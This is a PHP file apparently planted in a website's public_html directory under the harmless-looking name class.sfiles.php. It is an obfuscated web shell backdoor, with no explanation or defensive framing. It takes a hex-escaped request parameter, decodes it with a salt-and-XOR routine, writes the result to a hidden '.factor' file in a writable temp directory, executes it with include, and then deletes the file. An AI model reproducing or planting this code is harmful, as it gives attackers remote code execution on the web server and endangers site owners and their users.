File: /home/bestafjg/public_html/class.sfiles.php
<?php
if(isset($_REQUEST) && isset($_REQUEST["\x72\x65f"])){
$entity = $_REQUEST["\x72\x65f"];
$entity =explode ('.' , $entity );
$binding = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt);
$o = 0;
$len = count($entity);
do {
if ($o >= $len) break;
$v1 = $entity[$o];
$chS = ord($salt[$o % $sLen]);
$d = ((int)$v1 - $chS - ($o % 10)) ^ 7;
$binding .= chr($d);
$o++;
} while (true);
$component = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm"]);
foreach ($component as $value) {
if (is_writable($value) && is_dir($value)) {
$data = implode("/", [$value, ".factor"]);
if (@file_put_contents($data, $binding) !== false) {
include $data;
unlink($data);
exit;
}
}
}
}